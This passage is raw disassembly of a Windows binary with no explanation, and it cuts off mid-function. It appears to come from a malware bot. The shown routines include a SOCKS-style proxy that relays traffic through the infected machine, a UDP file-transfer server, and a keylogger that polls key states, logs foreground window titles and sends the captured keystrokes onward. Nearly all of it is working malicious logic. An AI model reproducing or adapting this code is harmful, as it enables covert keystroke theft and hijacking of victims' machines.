--------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx call dword_427134 ; GenerateConsoleCtrlEvent jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 ; send test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_4270F0 ; WriteFile test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BCE proc near ; DATA XREF: sub_401ACD+2BC4o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_4CB9D4 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4CBA54 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_43E91C[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CBA00 ; bind test eax, eax jnz loc_411D70 push 0Ah push edi call dword_4CB9FC ; listen test eax, eax jnz loc_411D70 push [ebp+var_40] push [ebp+var_D4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2D4] push offset dword_42BC94 push eax call sub_41C266 add esp, 10h cmp [ebp+var_30], esi jnz short loc_411CA9 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409869 add esp, 14h loc_411CA9: ; CODE XREF: sub_411BCE+B9j ; sub_411BCE+172j ... lea eax, [ebp+var_2D4] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4CBA68 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset dword_435730 push eax call sub_41C266 push ebx lea eax, [ebp+var_2D4] push 19h push eax call sub_40B3BA mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_411DD3 push esi push esi call dword_427084 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43E924[ecx], eax jz short loc_411D50 loc_411D3D: ; CODE XREF: sub_411BCE+180j cmp [ebp+var_28], esi jnz loc_411CA9 push 5 call dword_427080 ; Sleep jmp short loc_411D3D ; --------------------------------------------------------------------------- loc_411D50: ; CODE XREF: sub_411BCE+16Dj call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset dword_4356F4 push eax call sub_41C266 add esp, 0Ch jmp loc_411CA9 ; --------------------------------------------------------------------------- loc_411D70: ; CODE XREF: sub_411BCE+7Bj ; sub_411BCE+8Cj push edi call dword_4CBA6C ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset dword_4356C0 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_411DB3 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409869 add esp, 14h loc_411DB3: ; CODE XREF: sub_411BCE+1C3j lea eax, [ebp+var_2D4] push eax call sub_415D38 push [ebp+var_3C] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_411BCE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DD3 proc near ; DATA XREF: sub_411BCE+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43E91C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4CB9BC ; select test eax, eax jnz short loc_411E54 push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_411E54: ; CODE XREF: sub_411DD3+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4CB9EC ; recv test eax, eax jg short loc_411E85 push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_411E85: ; CODE XREF: sub_411DD3+98j cmp [ebp+var_4D0], 4 jnz loc_41207F cmp [ebp+var_4CF], 1 jnz loc_41207F cmp [ebp+var_44], bl jz short loc_411F1B lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_411F1B lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_4357F8 call sub_415DAC push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_41BF70 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_411F1B: ; CODE XREF: sub_411DD3+CFj ; sub_411DD3+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_41BF70 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_411FB3 call dword_4CB968 ; WSAGetLastError push eax push offset dword_4357B8 call sub_415DAC push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41BF70 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_411FB3: ; CODE XREF: sub_411DD3+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_412022 call dword_4CB968 ; WSAGetLastError push eax push offset dword_435774 call sub_415DAC push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41BF70 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_412022: ; CODE XREF: sub_411DD3+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] push edi call sub_412097 pop ecx pop ecx push edi call dword_4CBA6C ; closesocket push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_41207F: ; CODE XREF: sub_411DD3+B9j ; sub_411DD3+C6j push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread sub_411DD3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412097 proc near ; CODE XREF: sub_411DD3+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: sub_412097+C5j ; sub_412097+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4120C5: ; CODE XREF: sub_412097+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: sub_412097+33j cmp ecx, 1 jnz short loc_4120EA mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4120EA: ; CODE XREF: sub_412097+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4CB9BC ; select lea eax, [ebp+var_104] push eax push ebx call dword_4CB8C0 ; __WSAFDIsSet test eax, eax jz short loc_41214A push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: sub_412097+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4CB8C0 ; __WSAFDIsSet test eax, eax jz loc_4120AD push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: sub_412097+9Aj ; sub_412097+B1j ... pop edi pop esi pop ebx leave retn sub_412097 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412197 proc near ; CODE XREF: sub_412197:loc_4125F0p ; DATA XREF: sub_401ACD+20B3o ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4CBA54 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_412237 push 190h call dword_427080 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_412217 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409869 add esp, 14h loc_412217: ; CODE XREF: sub_412197+5Bj lea eax, [ebp+var_778] push eax call sub_415D38 push [ebp+var_168] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread loc_412237: ; CODE XREF: sub_412197+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4CB9B4 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4CB9B4 ; setsockopt mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov dword_43E91C[eax], esi lea eax, [ebp+var_2C] push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call dword_4CB9D4 ; htons mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4122C1 push 1388h call dword_427080 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_4125F0 ; --------------------------------------------------------------------------- loc_4122C1: ; CODE XREF: sub_412197+10Fj lea eax, [ebp+var_370] push offset dword_429068 push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_412327 push 190h call dword_427080 ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409869 lea eax, [ebp+var_778] push eax call sub_415D38 push [ebp+var_168] call sub_40B6D6 add esp, 1Ch push ebx call dword_4270D4 ; ExitThread loc_412327: ; CODE XREF: sub_412197+142j ; sub_412197+413j mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_4125B3 mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4CB9BC ; select test eax, eax jle loc_4125A7 mov al, byte_43DB88 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4CB9AC ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_50] push eax call sub_41C266 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_412591 cmp [ebp+var_CF], 1 jnz loc_412497 lea eax, [ebp+var_26C] push eax call sub_41B9C0 push ebx push ebx push [ebp+var_4] call sub_41DA8B push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41BAFA add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CBA38 ; sendto cmp [ebp+var_D8], ebx jnz short loc_412485 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409869 add esp, 14h loc_412485: ; CODE XREF: sub_412197+2C9j lea eax, [ebp+var_778] push eax call sub_415D38 pop ecx jmp loc_4125A7 ; --------------------------------------------------------------------------- loc_412497: ; CODE XREF: sub_412197+257j cmp [ebp+var_CF], 4 jnz loc_412591 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_4124D4 inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_4124E2 ; --------------------------------------------------------------------------- loc_4124D4: ; CODE XREF: sub_412197+329j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_4124E2: ; CODE XREF: sub_412197+33Bj movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx push eax push [ebp+var_4] call sub_41DA8B push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_41BAFA add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CBA38 ; sendto cmp edi, ebx jnz short loc_4125A7 lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset dword_434798 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_41257C push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409869 add esp, 14h loc_41257C: ; CODE XREF: sub_412197+3C0j lea eax, [ebp+var_778] push eax call sub_415D38 inc dword_4CE4DC pop ecx jmp short loc_4125A7 ; --------------------------------------------------------------------------- loc_412591: ; CODE XREF: sub_412197+24Aj ; sub_412197+307j push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_435838 push esi call dword_4CBA38 ; sendto loc_4125A7: ; CODE XREF: sub_412197+1E9j ; sub_412197+2FBj ... cmp [ebp+var_8], ebx jg loc_412327 mov edi, [ebp+arg_0] loc_4125B3: ; CODE XREF: sub_412197+199j push esi call dword_4CBA6C ; closesocket push [ebp+var_4] call sub_41BA3B dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_4125E4 push [ebp+var_168] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread loc_4125E4: ; CODE XREF: sub_412197+438j push 3E8h call dword_427080 ; Sleep push edi loc_4125F0: ; CODE XREF: sub_412197+125j call sub_412197 pop edi pop esi pop ebx leave retn 4 sub_412197 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125FC proc near ; CODE XREF: sub_4126A7+E2p ; sub_4126A7+1A4p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = byte ptr 18h arg_90 = dword ptr 98h arg_94 = dword ptr 9Ch push ebp mov ebp, esp sub esp, 200h cmp [ebp+arg_90], 0 jz short loc_41266C push esi mov esi, offset dword_435848 loc_412614: ; CODE XREF: sub_4125FC+6Bj push esi push [ebp+arg_4] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp+var_200] push [ebp+arg_0] push offset dword_436BB4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp+var_200] push [ebp+arg_94] push eax lea eax, [ebp+arg_10] push eax push [ebp+arg_8] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: sub_4125FC+25j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: sub_4125FC+10j push [ebp+arg_0] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp+var_200] push [ebp+arg_94] push eax lea eax, [ebp+arg_10] push eax push [ebp+arg_8] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: sub_4125FC+6Ej xor eax, eax leave retn sub_4125FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4126A7 proc near ; DATA XREF: sub_401ACD+7374o var_920 = dword ptr -920h var_91C = byte ptr -91Ch var_520 = byte ptr -520h var_4E0 = byte ptr -4E0h var_2E1 = byte ptr -2E1h var_2E0 = byte ptr -2E0h var_E0 = byte ptr -0E0h var_DC = dword ptr -0DCh var_58 = dword ptr -58h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 920h mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_920], 0 push 26h and [ebp+arg_0], 0 pop ecx mov esi, eax lea edi, [ebp+var_E0] rep movsd mov dword ptr [eax+94h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_91C] rep stosd call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB970 ; GetWindowTextA mov ebx, 200h loc_412702: ; CODE XREF: sub_4126A7+4A0j push 8 call dword_427080 ; Sleep call dword_4CB958 ; GetForegroundWindow cmp eax, [ebp+var_8] jz loc_41287A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB970 ; GetWindowTextA cmp [ebp+var_58], 0 jz loc_4127FF lea eax, [ebp+var_2E0] push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_4127B8 lea eax, [ebp+var_48] push eax call sub_41B9C0 cmp eax, 1 pop ecx jnb short loc_4127B8 lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ ; ".».%s.«." push eax call sub_41C266 sub esp, 8Ch lea eax, [ebp+var_48] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_4125FC mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BF70 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BF70 add esp, 0Ch loc_4127B8: ; CODE XREF: sub_4126A7+9Bj ; sub_4126A7+AAj lea eax, [ebp+var_2E0] push eax call sub_41B9C0 test eax, eax pop ecx jbe loc_41287A lea eax, [ebp+var_48] push eax call sub_41B9C0 test eax, eax pop ecx jbe loc_41287A lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ ; ".».%s.«." push eax call sub_41C266 sub esp, 8Ch jmp short loc_412833 ; --------------------------------------------------------------------------- loc_4127FF: ; CODE XREF: sub_4126A7+86j lea eax, [ebp+var_48] push eax call sub_41B9C0 test eax, eax pop ecx jbe loc_412925 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)" push eax call sub_41C266 sub esp, 88h loc_412833: ; CODE XREF: sub_4126A7+156j push 26h lea eax, [ebp+var_48] pop ecx lea esi, [ebp+var_E0] mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_4125FC mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BF70 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BF70 add esp, 0Ch loc_41287A: ; CODE XREF: sub_4126A7+6Cj ; sub_4126A7+120j ... cmp [ebp+var_58], 0 jz loc_412925 push 1 call dword_4CB9A0 ; GetAsyncKeyState cmp ax, 8001h jnz loc_412925 lea eax, [ebp+var_2E0] push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_412925 call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+var_520] push 3Ch push ecx push eax call dword_4CB970 ; GetWindowTextA lea eax, [ebp+var_2E0] push eax lea eax, [ebp+var_4E0] push offset a__S_l_ ; ".».%s.«." push eax call sub_41C266 sub esp, 8Ch lea eax, [ebp+var_520] lea esi, [ebp+var_E0] push 26h pop ecx mov edi, esp push eax lea eax, [ebp+var_4E0] rep movsd push eax call sub_4125FC mov [ebp+arg_0], eax push ebx lea eax, [ebp+var_2E0] push 0 push eax call sub_41BF70 add esp, 0ACh lea eax, [ebp+var_4E0] push ebx push 0 push eax call sub_41BF70 add esp, 0Ch loc_412925: ; CODE XREF: sub_4126A7+164j ; sub_4126A7+1D7j ... mov [ebp+var_4], offset dword_43644C loc_41292C: ; CODE XREF: sub_4126A7+496j push 10h call dword_4CB8A8 ; GetKeyState movsx esi, ax mov eax, [ebp+var_4] mov edi, [eax-4] push edi call dword_4CB9A0 ; GetAsyncKeyState test ah, 80h jz short loc_4129C4 push 14h call dword_4CB8A8 ; GetKeyState test ax, ax jz short loc_412975 cmp esi, 0FFFFFFFFh jle short loc_412975 cmp edi, 40h jle short loc_412975 cmp edi, 5Bh jge short loc_412975 mov [ebp+edi*4+var_920], 1 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_412975: ; CODE XREF: sub_4126A7+2ADj ; sub_4126A7+2B2j ... push 14h call dword_4CB8A8 ; GetKeyState test ax, ax jz short loc_4129A0 test esi, esi jge short loc_4129B4 cmp edi, 40h jle short loc_4129A0 cmp edi, 5Bh jge short loc_4129A0 mov [ebp+edi*4+var_920], 2 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129A0: ; CODE XREF: sub_4126A7+2D9j ; sub_4126A7+2E2j ... test esi, esi jge short loc_4129B4 mov [ebp+edi*4+var_920], 3 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129B4: ; CODE XREF: sub_4126A7+2DDj ; sub_4126A7+2FBj mov [ebp+edi*4+var_920], 4 jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129C4: ; CODE XREF: sub_4126A7+2A0j mov esi, [ebp+edi*4+var_920] lea eax, [ebp+edi*4+var_920] test esi, esi jz loc_412B32 and dword ptr [eax], 0 lea eax, [ebp+var_2E0] cmp edi, 8 push eax jnz short loc_4129FC call sub_41B9C0 and [ebp+eax+var_2E1], 0 pop ecx jmp loc_412B32 ; --------------------------------------------------------------------------- loc_4129FC: ; CODE XREF: sub_4126A7+340j call sub_41B9C0 cmp eax, 1B9h pop ecx jbe short loc_412A42 call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CB970 ; GetWindowTextA cmp [ebp+var_58], 0 jz short loc_412A30 lea eax, [ebp+var_2E0] push eax push offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)" jmp short loc_412A85 ; --------------------------------------------------------------------------- loc_412A30: ; CODE XREF: sub_4126A7+379j lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2E0] push eax push offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)" jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A42: ; CODE XREF: sub_4126A7+360j cmp edi, 0Dh jnz loc_412B04 lea eax, [ebp+var_2E0] push eax call sub_41B9C0 test eax, eax pop ecx jz loc_412B32 call dword_4CB958 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CB970 ; GetWindowTextA cmp [ebp+var_58], 0 jz short loc_412A96 lea eax, [ebp+var_2E0] push 